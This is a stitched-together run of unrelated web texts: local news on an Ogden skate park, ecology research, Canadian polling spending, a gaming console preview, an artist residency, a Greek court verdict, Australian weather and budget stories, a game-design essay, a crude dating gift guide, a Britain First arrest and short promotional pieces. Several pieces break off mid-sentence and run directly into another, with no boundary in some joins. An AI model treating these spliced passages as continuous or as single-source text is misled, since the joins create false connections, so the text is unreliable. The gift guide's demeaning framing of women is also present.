“It’s kind of frustrating,” said Ogden resident Brian Walker. “I think it would hurt a lot of kids and a lot of adults like myself new generation of kids who would be without.”
Walker, a local high school teacher, has been skating at Lorin Farr Skate Park since the gate first opened 15 years ago.
“Now I bring my kids down I have daughters that like to skate,” Walker said.
The repeated vandalism and graffiti over the past few months forced the city to lock the gate to the park.
“We had to go and clean up some significant graffiti that was offensive, vulgar -- there was broken glass and a whole bunch of problems down there,” said Perry Huffaker, Public Ways and Parks Manager for Ogden City.
The cleanup has cost the city a lot of money and manpower. The park was originally closed for maintenance, but weeks later the gate is still locked.
“We put a chain around it and a padlock and we’re trying to get our heads around why people do the things they did,” Huffaker said.
Surveillance cameras have been installed. But the public believes closing the |
Gorge Dam, and tested them under hydropeaking-like cycles of wet and dry. Very few survived.
To see how much impact hydropeaking had in the real world, however, the researchers turned to citizen scientists—specifically, river rafters on the Colorado River downstream from the Glen Canyon Dam. Each night, rafters collected insects at various points along the river. Combining that data with a model of hydropeaking’s effect on river flow at those points, the team was able to estimate the effects hydropeaking had on insects.
The results: While different species responded to hydropeaking differently, insects that lay their eggs right at the river’s edge, such as mayflies, had all but vanished from the Colorado River. Midges, which lay their eggs in somewhat broader areas, were most abundant at places where hydropeaking had the smallest effect on water levels. A follow-up study of 16 rivers in the Western U.S. confirmed that hydropeaking had a strong negative impact on insect biodiversity.
Whether or not you care about insects themselves—and many people don’t—the authors point out that healthy insect populations are essential for species that we do care about. “For instance, recent food-web and bioenergetics studies demonstrate that in the popular Lees Ferry sport fishery downstream of the Glen Canyon Dam, the maximum size and growth of rainbow trout are limited by the abundance and overall small size of their invertebrate prey,” Kennedy and his team write.
The lack of insect biodiversity also makes for unstable fish populations—an issue that fisheries managers need to take into account.
||Former prime minister Stephen Harper's own department spent more taxpayer money on public-opinion polling in 2014-15 than any other, asking Canadians about niqabs, ISIS and the Senate as preparations for the October federal election kicked into high gear.
Newly disclosed figures show the Privy Council Office spent $554,000 to the end of March this year — more than twice the $250,000 it had originally budgeted — on surveys and focus groups.
Stephen Harper and his wife, Laureen, cast their ballots at a polling station in Calgary on Oct. 19. A new report shows the former prime minister's own department outspent every other department on public-opinion polls in the run-up to the election, including questions about ISIS and the Senate. (Jonathan Hayward/Reuters) The total is much higher than the office had spent in any year since 2006-07, and is well ahead of the next biggest spender last year, the Finance Department at $512,000.
One last-minute poll was delivered on the final day of the fiscal year, March 31, a telephone survey that suggested 82 per cent of Canadians favoured a Conservative government requirement that women remove their niqabs or burkas at citizenship ceremonies.
Became flashpoint
The niqab issue became a flashpoint in the federal election, and the $133,000 poll results from Leger Marketing were posted on a government website on Sept. 24 — hours before a French-language election debate where the niqab issue was prominent. (The new Liberal government has since eliminated any such requirement at citizenship ceremonies.)
Harper on March 4 personally approved the Leger poll, which also asked Canadians, including focus groups, about Canada's military role against ISIS, efforts to assist Ukraine and the economy.
The Privy Council Office, reporting directly to the prime minister, was given a more prominent role under Harper for co-ordinating polling among all departments. As of April 2010, the office also became responsible for analyzing key polls across departments, removing that job from the polling companies themselves.
The posting was … adjusted due to the election period. — Public Works spokesman Pierre-Alain Bujold
The Privy Council Office's in-house poll analyses are exempt from current requirements to post taxpayer-funded surveys publicly within six months. And access-to-information requests to the Privy Council for the analyses are routinely rebuffed, with the government claiming the information constitutes "advice" and is therefore exempt from disclosure.
A Public Works annual report on polling expenditures, published Monday, shows spending of $4.1 million on surveys and focus groups among all departments in 2014-15. Although PCO spending was up sharply last year, the total across government was down, from $4.9 million the year before.
The Public Works annual report was supposed to have been published Aug. 14, but then public works minister Diane Finley vetoed the plan in July, a briefing note obtained under the Access to Information Act shows.
A spokesman for Public Works, Pierre-Alain Bujold, said Monday that the "posting schedule of the 2014-15 report was adjusted due to the election period."
And Raymond Rivet of Privy Council Office said the additional polling ordered by Harper in 2014-15 was "primarily to track emerging issues such as declining oil prices and international issues (ISIS, Russia/Ukraine)."
"The polling conducted was not connected to the federal election," Rivet said.
Survey on ISIS
Harper also ordered a survey in the current fiscal year, a $150,000 Harris/Decima contract that asked Canadians and focus groups between May 20 and June 1 about ISIS, the Senate and taxes — all issues that played prominently in the election campaign that began Aug. 2.
Prime Minister Justin Trudeau answers a question in the House of Commons on Dec. 7. The Liberals have promised independent scrutiny of proposed government ads, after criticizing the Harper Conservatives for spending tax dollars on partisan ads. The Conservatives also spent public funds analyzing the effectiveness of such ads. (Sean Kilpatrick/Canadian Press) A significant amount of annual polling by some departments assesses the effectiveness of advertising campaigns, under a policy that requires such surveys for every campaign worth more than $1 million.
Critics railed against the Conservative government for using taxpayer-funded advertising for purely political ends, including ubiquitous Economic Action Plan ads. The new Liberal government has promised to appoint an advertising commissioner "to review proposed messages to ensure that they are non-partisan and represent a legitimate public service announcement."
Follow @DeanBeeby on TwitterShare. New system offers unhindered access to Google Play and the Amazon Appstore. New system offers unhindered access to Google Play and the Amazon Appstore.
With devices like Ouya drumming up interest in open-source gaming platforms, Mad Catz is jumping into the fray with a system of its own — Project M.O.J.O. Like its Kickstarter-backed peers, Project M.O.J.O. is based on Android, but instead of requiring games to be custom-tailored to its hardware, it works with existing digital storefronts like Amazon's Appstore and Google Play. Unbound by a proprietary platform, Project M.O.J.O. enables users to access a library of thousands of titles, including those already purchased for their Android tablet or smartphone.
Exit Theatre Mode
The system leverages Mad Catz's GameSmart platform, which was introduced back in January at CES. GameSmart is a range of cross-platform Bluetooth accessories designed for tablets, smartphones, PCs, and smart TVs. Project M.O.J.O. is expected to ship with the company's C.T.R.L.R. Bluetooth controller, which offers a full suite of dual-analog thumbstick, trigger, d-pad controls for gamepad-enabled Android titles, like Dead Trigger, ShadowGun, and more. For games designed for touch controls, consumers will also be able to use Mad Catz's GameSmart mice.
While the company maintains that Project M.O.J.O. is merely in its prototyping stages, the final hardware is expected to ship with 16GB of internal storage with expandable microSD storage, Bluetooth Smart 4.0 (when the next version of Android ships), two USB ports for wired gamepads and other accessories, HDMI, Wi-Fi, and a headphone port.
For processing, Mad Catz hasn't committed to any specific silicon yet, but it's currently investigating Nvidia's Tegra 4 processor, which was also unveiled at CES earlier this year. If the company lands on Nvidia's new mobile chip, however, it could prove to be a competitive edge and an alluring prospect to consumers. Not only would it be a generation ahead of the Ouya, it'd also come equipped with Nvidia's Shield technology, which allows players to stream full HD games from their PC over a local Wi-Fi network.
Mad Catz is clearly trying to best the competition on power and versatility, but what about cost? The company won't say, but given the kind of performance its shooting for, a $99 price point would seem tough to achieve.
Hands-on
We only had a few minutes to get our mitts on the M.O.J.O. itself, but even in that brief time the small console managed to impress. It's extremely small and light - it's an even smaller form factor than the Ouya.
The packed-in controller is bigger and heavier than the console, in fact. The M.O.J.O.'s controller feels great, as expected, given that it is a modified version of Mad Catz' $99 MLG-licensed C.T.R.L.R. controller. The analog sticks and triggers feel just a hair less responsive than the near-perfect stock Xbox 360 controller, but some elements, like the D-Pad, actually improve on Microsoft's design.
The 16 GB of on-board storage is a respectable amount for Android gaming today, but with many high-end games climbing into 1GB (or higher) territory, the microSD slot tucked into back of the console is very welcome.
The M.O.J.O. booting into stock Android 4.1 and running stock Android games is the system's greatest asset. If you already own 100+ Android games, they'll all work with the M.O.J.O. right out of the box, as will all your Bluetooth or USB controllers, keyboards, and mice (assuming they already play nice with Android, of course). But this can also create a few awkward moments. We used a controller to boot into Dead Trigger, but then had to use a mouse to navigate through the game's traditionally touch-powered menus, before switching back to the controller to blast zombies once the level began.
Although not available now, the finished controller will include a "mouse mode" to help alleviate this awkwardness. Mouse mode lets you use the controller's analog stick to move a mouse cursor around the screen, letting you control all of the game or app's functions with the controller alone. Mad Catz also promised a "solution" for multi-touch heavy games, but hasn't yet provided any specifics.
IGN will have more on the Mad Catz Project M.O.J.O. in the coming months, including, crucially, the hardware's final specs and price.
Scott Lowe is the master of all things tech at IGN and can be found posting pictures of his cats on Twitter @ScottLowe. Justin Davis is Editor of IGN Wireless. You can follow him on Twitter at @ErrorJustin and on IGN.About the Residency Program
The Ucross Foundation Residency Program offers the gift of time and space to competitively selected individuals working in all artistic disciplines. The Foundation strives to provide a respectful, comfortable and productive environment, freeing artists from the pressures and distractions of daily life. As painter Carol Schwennesen commented, "There has been no other art experience that has been as wide and deep and solid as the experience of being at Ucross."
The Ucross Foundation provides living accommodations, individual work space, and uninterrupted time to approximately 85 individuals each year. Typical residencies are one month in length but can vary from two to six weeks. At any one time, there are up to ten individuals in residence, a mix of visual artists, writers and composers. In most cases, studios are separate from living quarters.
Lunch and dinners are prepared Monday to Friday by a professional chef with ample provisions on hand for breakfasts and weekends. Lunches are delivered to individual studios; group dinners take place at 6 p.m. Towels and all linens are provided, as is weekly housekeeping for bedrooms. There is cell phone service and wireless internet throughout residency facilities.
Residents are responsible for providing their own working materials and for their travel to Sheridan, Wyoming. There is no charge for a residency.The police officer charged with the murder of Alexandros Grigoropoulos, which sparked heavy rioting across the country, has been found guilty.
Al Jazeera reported that in a 4-3 verdict on Monday, a Greek jury found Epaminondas Korkoneas, 38, guilty of intentionally shooting 15-year-old Alexandros Grigoropoulos on December 06, 2008. The panel also found Vassilios Saraliotis, Korkoneas' patrol partner, guilty of complicity in the crime.
The court will sentence Korkoneas later on Monday. He had pleaded not guilty but the prosecutors have asked for life in prison. The trial which started in January heard that Korkoneas fired three shots while patrolling in Exarchia, an area of bars and cafés known for popular unrest.
Alexis Kougias, Korkoneas' lawyer, said that the teenager's death was a tragic accident which occured as police fired warning shots to stop youngsters from hurling stones at them. An autopsy report showed that the boy was hit by a bullet that ricocheted on to him, however a witnesses testified that the policeman took aim at the boy and fired.
Speaking to Al Jazeera, John Psaropoulos, editor of Athens News, said that "from the very beginning, there were two versions of what had happened. "The official version was that the policeman had fired a warning shot in the air which ricocheted on a concrete overhang and struck the young man in the heart at an angle but witnesses circulated on blogs that the policeman had simply walked up to the 15-year old, pointed his gun at him, and shot him."
The nine-month trial had to be moved from Athens to Amfissa, 200km northwest of the capital for security reasons as activists threatened kill Korkoneas. Grigoropoulos' death prompted two weeks of nationwide riots - covered on http://libcom.org/tags/greece-unrest - in which youths torched cars and buildings, and looted stores. The aftermath of the incident has also seen a resurgence of urban guerrilla attacks, mostly focusing on police and government targets.Alice Springs hail: Red Centre turns white as storm damages buildings, powerlines
Updated
Wild hail storms have flooded parts of Alice Springs and forced the closure of some roads in the town.
Parts of the Red Centre were turned white, as the hail began falling about 4:00pm yesterday.
There were reports of tree branches bringing down powerlines and extensive water damage to buildings, including the Alice Springs Hospital.
Clare Barker from NT Emergency Services said they were not expecting the hail storm to be so intense.
"The most important thing is that the public get behind us here and be prepared," Ms Barker said.
"Make sure that if you've got power that you've got some way of having some food tonight, make sure that you're taking cover, that your children, your family and your pets are safe."
The Bureau of Meteorology's Craig Earl-Spurr said two storms in quick succession dumped about 38 millimetres of rain in Alice Springs.
"If it [Alice Springs] does get thunderstorms it is about this time of the year, and there is a risk of hail," Mr Earl-Spurr said.
He said there was a good chance of more rain and possibly more hail today, although by Sunday it should have cleared.
The same weather system is expected to drift towards the Northern Simpson and Southern Barkly districts, bringing heavy rainfall.
The BoM has issued a severe thunderstorm weather for large hail in the Simpson and Lasseter districts.
Meanwhile on social media, people in the town shared pictures of snowman-like statues made in the ice, a whitened Todd River and short videos of the hail falling.
Topics: weather, alice-springs-0870
First postedBethune-Cookman coach used DIY radar gun to convince his players they could hit Florida pitching
One of the bigger surprises of the Regional portion of the NCAA Baseball Tournament was Bethune-Cookman, the third seed in the Gainesville Regional, advancing to the final against Florida. The Wildcats even forced the Gators, the regional host, to a winner-take-all game thanks to a win Sunday.
Part of the reason for the Wildcats' success against historically more accomplished programs may have had something to do with the levity the coaching staff brought to the most important games of their players' lives. A little confidence can go a long way and this coach didn't want his team to be intimidated by Florida's formidable pitching staff.
It's impossible to say whether that homemade radar gun did anything to convince the players that Florida's pitchers were lobbing "slow" pitches their way. Though they lost their second game against the Gators and didn't end up advancing to the Super Regional, the DIY radar gun was a part of their 6-2 regional final win Sunday. As Irish empiricist George Berkeley said, "esse est percipi" -- to be is to be perceived. The gun read "slow," therefore, the pitches were slow.Senior ministers concede the report contains the kind of suggestions to be expected from "economically dry" business types, but admit many are just not achievable in the real world or politics. The Abbott government is now in the final week of pre-budget deliberations. Credit:Penny Stephens The National Preventive Health Agency is the largest in a string of small so-called ''orphan'' health agencies marked for abolition. Under heavy attack from the alcohol industry, it releases its long-awaited report into a minimum floor price for alcohol on Thursday. The report has been gathering dust now for a year and it is to be released under a clause in the agency's act that requires the automatic release of reports if a year has elapsed since they were presented to government. Also marked for privatisation or abolition is Defence Housing Australia, which manages and owns properties for defence families. It turns an annual profit before tax of $1 billion and employs 600 people. The government has commissioned Ernst & Young to advise on whether it should be sold. The closely guarded Commission of Audit report is built around the theme of competition, according to a source who has seen it. It calls for competition between the states to provide services currently subject to some oversight from the Commonwealth. It also calls for competition between private firms to provide within-government services presently provided by the government itself, such as building management and Commonwealth cars.
The Audit Commission report, to be released publicly at 2.00pm on Thursday, proposes dumping Kevin Rudd's favoured notion of cooperative federalism in favour of competitive federalism and financial contestability criteria whereby services are provided against value-for-money indices. Although asked specifically to recommend how the government could achieve a budget surplus of 1 per cent of GDP by 2023-24 the commission has interpreted its mandate much more broadly and attempted to identify the activities the government should vacate. Like the 1996 Commission of Audit report commissioned by the Howard government, it finds that in many areas where state and Commonwealth responsibilities overlap, the responsibilities are best handed to the states. The 1996 report recommended that the Commonwealth abandon all involvement in preschool, primary and secondary education, funding the states for it by untied rather than tied grants. The Commonwealth would cease grants to private schools, allowing the states themselves to grant money to private schools if they thought it was necessary. If adopted, the recommendation would have abolished large sections of the Commonwealth Department of Education. If recommended again it could unwind more recent initiatives such as the Gonski school funding reforms and NAPLAN. It suggested the Commonwealth maintain control of Medicare and the Pharmaceutical Benefits Scheme, using its weight to contain costs through the introduction of co-payments.
If adopted the recommendations would undo years of Commonwealth centralisation, returning to the states responsibilities surrendered in the early decades of federation. The theory behind the decentralisation is known as "competitive federalism". It says that free of constraints, the states and territories will compete with each other to provide the best services at the lowest cost. Although the 1996 review proposed handing more responsibilities to the states, it also proposed extra funding in the form of untied grants. The grants would be less than the Commonwealth would have spent had it continued to provide the services itself. The recommendation to axe the National Preventive Health Agency is awkward for the Coalition, coming after its assistant health minister Fiona Nash pulled the plug on a healthy eating website set up by the Council of Australian Governments hours after it went live. If adopted it would leave it open to charges that it wasn't serious about reining in long-term health expenditures on diseases such as obesity and alcohol-fuelled violence. The government is into the final week of pre-budget deliberations. As well as a controversial deficits tax, and a scaled-down paid parental leave scheme, the unemployed can expect tougher rules regarding eligibility for Newstart with a renewed push to "earn or learn". There will also be cuts to ABC and SBS funding through the extension of the government wide 2.25 per cent efficiency dividend.
Finance Minister Mathias Cormann said on Thursday that the audit would show that the spending growth projectory inherited from the previous Labor government was unsustainable. He also played down claims that the government would be breaking an election promise if it went ahead with a proposed a ''debt tax'' on workers earning more than $80,000 a year. ''We're not making any excuses,'' Senator Cormann said. ''We're not doing any of this out of fun.'' Opposition finance spokesman Tony Burke accused the government of confecting a budget emergency and of deliberately waiting to reveal cuts until after the polls in Griffith, Western Australia, Tasmania and South Australia. "They'll then release what will simply be a guidebook on how to break every election promise Tony Abbott made," Mr Burke said.
Mr Burke said half of the $123 billion deficit referred to by Senator Cormann on Thursday morning was created by the Liberal government. "They doubled the deficit when they first came in," he said. "They added $60 billion to it, more than doubling the deficit. If you're in an emergency, why on earth would you do that? "The truth is they wanted to confect or manufacture a budget crisis because these are the sorts of cuts they actually want to bring in." Shadow treasurer Chris Bowen said it was ''unconscionable'' for the government to have sat on the report for so long.
With Lisa Cox Loading Follow us on Twitter.This suit I’m wearing is an awkward fit.
After peeling the suit jacket off the cold body of an FBI agent, I gingerley squeeze myself into it knowing full well it’s a size too small. In the next room is a notorious south American crime lord and he lives in luxurious americana; the leaves here are greener, the sun shines brighter, and the local jogger slowly struts by with a genuine smile. Dogs potter outside and roll in the grass and bark at the garbage men doing their usual rounds. The birds outside chirrup and tweet, a delicate morning song to end someone’s life to.
I enter the room, and there he is, fat and wheezing. His Hawaiian shirt open, his chest has a tiny grove of hair trickling down his stomach. The glow of the television battles with the sun outside. With no one else around, I pass in front of him and he doesn’t even bat an eye. He thinks I’m one of them. But I’m not. I’m just an imposter.
He doesn’t survive the gun shot. No one heard him die, my silencer made damn sure of that. I slip away into public life again, no one ever suspecting I was there. The papers report that he was killed by a professional. An expert. A guy that executes in cold blood with a single bullet to the head. Clean, uncaring, brutal… Yet efficient.
This never really happened, of course. This is simply me playing the excellent immersive simulator Hitman Blood Money. A game not commonly called an immersive simulator but nonetheless should almost certainly be considered part of its very selective stock. An immersive simulator, if you may not know, is a game design philosophy centred around removing any and all contrived ‘gamey’ conceits from the design of a game. Including only elements that would benefit the players immersion in the story you’re attempting to weave, and trusting the player to express themselves in an open way so as to make them feel like the subject matter they control. An immersive simulator isn’t just content with being a game. It wants you to forget you’re in a game. It wants you to be the character you see in me.An immersive simulator is a genre bending meld of various game design ideas that are driven towards enhancing the players logical placement in the world they inhabit. There is no extraneous or unnecessary “features” here, and no room for gimmicks. Every idea in the game is there to objectivley enhance the experience of the player and to aid them in inhabiting a unique role. Theyre almost like a perfect, alternative take on role playing because you’ll be immersed to the point where you really feel as though you’re playing a role, or method acting a character from a movie. For the duration of that game, you and the character are one.
The term was popularised by game design hero Warren Spector. Spector designed classics like Ultima, System Shock and of course, possibly the most famous immersive sim of them all, Deus Ex. Deus Ex is what happens when you merge stealth games, social role playing elements and first person shooter design together and paint them inside some of the best level design this side of Doom. With multiple ways to complete an objective and multiple play styles to utilise, Deus Ex truly welcomed the player, trusting them with its systems, and allowing them to get lost in its dystopian take on cyber punk. A highly literate and intelligent game, it was no push over when it came out and still stands as one of the greatest games of our time.
However, because of how successfully Deus Ex blended these genres together, immersive sims are often mistaken as simple action stealth hybrid games. Probably due to the recent rise in games like Far Cry 3 and, actually, the newer Deus Ex games, which even though they draw on their older counter parts for genre bending immersive fun, they essentially end up being yet another genre, yet another label on the cover art of a game and they very much become their own genre definition. Stealth actions games are simply not the same as immersive simulators and are now in their own right just another genre and strip away any of the daring, limitless immersion of their progenitors. Far Cry 3, for example, has you meaninglessly scrambling atop communication towers to activate some strange icons on a map, and arbitrary racing challenges lay scattered across the map. Why? Is the character a race car driver? Well no, but this other open world shooter had races, so this one has to have them, too, right? Regardless, these are the things that seperate a good immersive sim from a fake immitator: minor contrivances, concessions to gaming fun and outright copy cat game design mean games like Far Cry 3 simply have two genres stuck together and end up simply reminding you you’re playing a video game. Immersive sims were never meant to have a genre definition tied to them. Their attraction and their power lie in their lack of a definition. These games are for immersion and role playing. To codify that in strict game design terms would be lunacy. To drag in pointless elements from other games, simply because other like-minded games did them too is wholely arbitrary and as a result are against the spirit and ethos of tightly designed role orientated games such as Hitman or indeed the recently released Dishonoured 2.
If you’ve never heard of immersive simulators before you might be asking yourself ‘why simmulate immersion when you could just play a straight up simulator game?” well, there’s a problem with real simulators, and it’s that, by nature, they’re incredibly dry. They’re awful dullards for detail. If you went to a fancy dress halloween party, they would fret over the accurate details of their costumes, and criticize inadequecies in yours. Simulation games are sticklers for reality, and while immersive sims seek to embroil the player in something akin to reality, in truth they merely model authenticity. Authenticity and reality? Well, they’re two different things, my friend. An immersive sim is all about recreating the emotional feedback of actually being there. It’s all about documenting the socio-political reality of the thing you’re play acting as and just like any good form of imaginative play, it allows the player to roam around their fantasy a bit, it gives them the freedom to explore a world in their new role as a hitman or a spy. This creative freedom to immerse can give writers great creative freedoms, too, as immersive simulators are often wordy and intelligent. They’re often the classiest guys in the room. Take Deus Ex, again, for example. There’s some real philosophy there. You talk to AI’s that argue the human race needs a God, that leaders can be derided from now ’til eternity but people will still need them. You’ll discuss international politics with a Hong Kong barman and foreign policy with a snarky, liquored up chopper pilot. With a simulation game, there’s no getting off the ride. Please keep your hands and legs inside the train car at all times. Your uniform is a tomb, and your play is a script – stick to the script, and you’ll be alright.
The level of simulation in immersive simulators often rely on a deep, detailed world to get utterly lost in. It requires world-building that isn’t just a mile wide and an inch deep – it has to be entirely believable. Not only that, but it has to have a large array of systems working along side them at once – enough to mean that immergent situations can suddenly materialize from the most unlikely of places. Players of Dishonoured realized you can “break your fall” by suddenly possessing a guard before you end up splattered on the pavement – the instant transferral of your soul into another form effectively saves your life. The developers didn’t plan for this, it’s just a reality of having multiple complex systems up and running beside each other. And this is only scratching the surface. In Deus Ex, picking up environmental objects and hurling them creates distractions. You can even use this to your advantage in some levels by leading competing factions into one another by way of distractions and obfuscations. Again, this is unplanned, just a result of having various systems all at play at once. The ability to improvise on the fly and be able to trust the systems of the game is perhaps an immersive sims greatest trait. And if being completely absorbed by an experience, if giving the player the authentic feel of being in that moment is what a games strength is, then the industry needs to seriously double down on these concepts. Deus Ex isn’t ground breaking for no reason. And yet, oddly, this design philosophy is curiously left behind in the scramble for higher resolution and pixel counts despite being a far better demonstration of the potential of video games.
Story can be told by the players. The worlds should be dense and detailed, they should be deep and interesting. You should let the players experience of the game be the story, not the cut scenes or innescapable dialogue that only serve to rob the player of control. And personally, I really hate to add yet another dull voice to the Call of Duty detractors, but the series does such a horrendous disservice to video games. Call of Duty regularly sells millions, easily attracts worldwide news coverage, and people (gamers or not) all recognise the name: Call of Duty is a household name and weather people are gamers or not, they’re getting a false view of gaming if their experience of it is Call of Duty. And it’s not that action games are somehow “wrong” or “low brow”. It’s entirely possible to have an Immersive Sim that seems to be all about the action. It’s just the way that Call of Duty is such a hand holding experience. It uses, co-opts and corrupts popular cultural iconography in the most brutal fashion, and pushes you through a badly written narrative with almost no player agency whatsoever. In Call of Duty, your choices don’t matter, because there isn’t any. It’s just you and the left mouse button. that’s it. And there’s no player generated stories coming from that.
It contrasts wildly against my experiences with Hitman, or Thief. There are millions of stories from these games, most of them not involving the story at all. I still remember the first time I played System Shock 2 and I hid under the desks of the labs to escape one of the mutated inhabitants of the Von Braun. I watched his feet slowly patter past the desk and stop in front of the desk and fruitlessly look around for me, before giving up and walking off – it was true, genuine fear. That character I was playing as in System Shock 2? That wasn’t just actions performed on a computer screen, I felt that fear with that character. There was no break – it was all me. That wasn’t a moment forced through by the narrative either. It just happened organically thanks to the incredible world constructed by Looking Glass studios. I felt an almost symbiotic relationship with this game as I played it because it was so absorbing.
And that’s the economy developers and publishers need to show the world. It’s not good enough to be satisfied with Huge sales figures and say “fair enough. We’re mainstream now” yes, but what kind of mainstream? We might have e a seat at the table but we’re still picking our nose and making dick jokes. We’ve yet to learn to hold a conversation with the adults, and we need to innovate and modernise as well as shift millions of units. It’s no longer good enough to simply ‘sell’. It’s time, now, to start taking our art seriously. And hopefully, fingers crossed, Dishonoured 2 is the latest in an all too rare gaming tradition, unique to our treasured art form alone: True, symbiotic immersion. The kind that can inspire empathy and understanding, can thrill and excite, and drop you into miserable depths and devilish highs. It sumulates lives, roles, jobs, situations and for that it is our greatest story telling asset, and one that is sadly underused and undervalued in our culture.The Trailer for Jurassic World Fallen Kingdom was released December 5th 2017 after it being long awaited by fans. Universal MX decided to hold an event for “The Biggest Jurassic Park Fans” and it seems they were good at finding them since I was able to get an invitation to the event for the premiere of the trailer for Jurassic World Fallen Kingdom.
What I found odd is that they would hold an event just for a trailer for a movie, it felt a bit silly to have to drive to the specific cinema just to watch a 2 minute trailer that would be online only an hour or two later anyway. I did not think too much about it since it was Jurassic Park and confirmed that I was going, it’s not any day I get to go to an event for one of my favorite franchises and I would at least get to see the trailer on the big screen and maybe some bonuses.
Once I was there I was surprised by how many people were there, I arrived a few minutes before the time I was supposed to be there but there were already plenty of people before me. Everyone was given a Jurassic World Fallen Kingdom shirt and #JurassicWorld2 sticker which we were told to use that hashtag specifically when talking about the event. Not only that but we were given popcorn and a drink, I had never been so decked out just to watch a trailer for a movie.
They had a full set up as I waited to get inside the movie theater with the tv screens constantly displaying the different teasers to the trailers that we had seen to hype up the release of the trailers. Since there were plenty of people I did have to wait a little bit but it was worth the time.
Once inside the theater we were told we would first Watch the first Jurassic World film as a treat, a few were not too happy since they likely just wanted to go ahead and watch the new trailer before the movie but it ended up being a nice treat. I hadn’t counted on seeing a movie so it kind of messed up my schedule for the rest of the day but it was awesome to get to see Jurassic World in a movie theater again, and this one had an excellent set up. Only downside is they stopped the movie after the credits started rolling and like a nerd I wanted to hear the music throughout the credits.
After that we were shown the trailer twice in a row and it was awesome to get to see the premiere of a trailer full of Jurassic Park fans as we all got to gasp and squeem like fanboys together. I personally loved the trailer and how it set it up, I had no idea what direction the sequel was going to take and I was a bit afraid but the trailer sold me on it and gave me confidence they wouldn’t mess it up.
Because of the movie we ended up seeing the trailer almost at the same time as most people did, but that didn’t matter, the experience from this little Premiere Trailer event from Universal Mexico was a great treat. We were also told we would be the first to see Jurassic World: Fallen Kingdom or “El Reino Caido”. So I hope they don’t lose my email because I’m already hyped to go see the premiere of Jurassic World Fallen Kingdom.
If you enjoyed the article or have any thoughts let me know by commenting below or by tweeting at me. You can also share the article or hit me up an email with your thoughts [email protected], it’s nice to hear from other fans.Men are known for being notoriously bad at buying gifts for their women, and as the holidays season approaches, so does the dreaded task of picking out the perfect present.
When you’re in a relationship, the pressure is on to find something your girl is going to go gaga over, but what about when you’re not in a relationship? There are countless ways to be involved with a chick and they all come under pressure when jingle bells start to ring in the air.
Fear not dudes, we’ve compiled the ultimate holiday gift guide for your girlfriend, girl fling, and everything in between!
1. The Booty Call
The Booty Call is the girl you only interact with after the sun goes down, preferably after 2 a.m. Yes, the old rule applies, anything after 2 a.m. is strictly for sex.
It may be someone you tried to date but it didn’t work out yet the sex was so good you kept that part going, or just a pick-up from one night that got strung along for a few more.
Overall, your interactions with the Booty Call are sporadic, random and brief. What’s her favorite movie? What type of trinkets does she like? You have no idea. When it comes to gift-giving for the Booty Call, the best gift is none at all. Why ruin a perfectly good sex buddy by implementing feelings through presents? Exactly.
2) The Friend with Benefits
In the same category as the Booty Call, the Friend with Benefits has one very big difference: you’re actually friends with this girl. You know things about |
could end up as nothing more than a slogan. The people who always wanted it to fail, who believe in a Germans-only state, are abusing the fears and insecurities we all have over the background of the new arrivals. And more than that, they are abusing the dozens of women who were victims of assault on New Year’s Eve.A leader of a British far-right group, whose anti-Islamic posts were retweeted by U.S. President Donald Trump causing outrage in Britain, was arrested in Northern Ireland on Thursday minutes after being bailed over a separate incident.
Jayda Fransen, deputy leader of the fringe anti-immigrant Britain First group, appeared at a court in Belfast to face charges of using threatening, abusive or insulting words in a speech at a rally in the city in August.
She was remanded on continuing bail until Jan. 9 on condition that she does not go within 500 metres of any rally or demonstration before the case is finished. As she left court, Fransen, 31, was then arrested and charged with breaking the same law in a separate incident on Wednesday near one of the "peace walls" that separate Catholic and Protestant neighbourhoods, police said.
Police declined to give any further details of the incident. Britain First's leader Paul Golding, 35, was also arrested as he accompanied Fransen to the courthouse and later charged in connection with the August incident.
Shouting abuse
Trump's sharing of Fransen's anti-Muslim videos, posted on Twitter, provoked outrage in Britain last month, drawing a sharp rebuke from Prime Minister Theresa May and straining relations between two close allies.
An attempt by police to restrict Fransen's use of social media — Twitter and Facebook — was rejected by the judge on Thursday. Fransen was fined last month after being found guilty by a court in England of religiously aggravated harassment for shouting abuse at a Muslim woman wearing a hijab.
Her lawyer told Belfast Magistrates Court on Thursday she would be pleading not guilty to the charges she faces in relation to the August rally.
Golding is a former senior figure in the far-right British National Party and founded Britain First in 2011. The group describes itself as a "patriotic political party and street movement." Critics denounce it as a racist organization.Sea Dracula is now Free!
Download Sea Dracula for free!
Make copies! Give them to your friends and co-workers! And enemies! And your enemies friends! And co-workers!
Free Sea Dracula FAQ:
What does this mean? You can download the Sea Dracula PDF for free. You can make copies and distribute it for free as well. Knock yourself out!
What about paper copies? Nick and Jake will be giving away free paper copies of Sea Dracula at conventions, concerts, stores and special events for the rest of time. If you see us, ask for a copy!
I’m a store. Can I give away some Sea Dracula? Yes! Contact us at [email protected] to find out how to get free copies of Sea Dracula to give away in your store! Or just make a bunch of copies yourself!
Can I still buy Sea Dracula? No. Please stop asking!
How will you survive without the income from Sea Dracula? We’ll manage. Don’t worry!
How awesome is this? It’s pretty awesome.
AdvertisementsAmericans Produce Anime Pilot Film With Japanese Animators
- Japanese Studio Bang Bang Animation is producing a pilot film (approximately 5 minutes long) based on David Pinter and Samuel Dalton's independent manga series “.”David and Samuel began the anime project by collaborating with foreign animators working in Japan. The duo hope to make theanime unique by assembling many well-known and talented artists to form a true collaboration between American and Japanese artistry., Director of 2016's anime adaptation ofwill storyboard the film. Americanwill act as Art Director and Background Artist, having worked on televised and feature length anime such as Katsuhiro Otomo's 2013 film,American animatorhas been living in Japan for several years and has worked foron projects such as. Henry will be directing the film, as well as acting as Project Manager and Key Animator. Another American residing in Japan,, will be handling Character Design., a New York native that has had his music featured in many high-profile commercial projects such as Samsung, Nintendo, and Redbull, is directing the Musical Score. All Mixing and Foley is being completed by L.A Based,The pilot anime has already completed pre-production and is expected to be debut early 2017.Indigo Ignited is an independent anime project created by David Pinter and Samuel Dalton, started in 2014 the project was originally a comic/manga book series that quickly caught international interest.For more information about Indigo Ignited visit: www.IndigoIgnited.com Follow us:Blizzard devs: "back when we were designing Varian, we didn't know he was going to die"
I was sick during all of BlizzCon 2016 and it felt like a clever curse from a particular cruel demon. The one weekend of the year where I never want to stop talking, my voice painfully abandons me. Horrible.
However, I had a chance to sit down with lead live designer Mathew Cooper and game designer Nathan LaMusga and it was, single-handedly, my favorite part of the trip. Despite my voice nearly giving out (the world championships screaming didn't help) I still managed to croak out my questions and coughed exactly one time.
Anyone who saw me at the event knows how much of a herculean feat that last part was.
My questions
How do you create a raid boss in Heroes?
What were the most obvious imbalances?
What's the ideal way to balance a hero?
Cho'Gall vs Ragnaros - how do these raid bosses differ in design aesthetic?
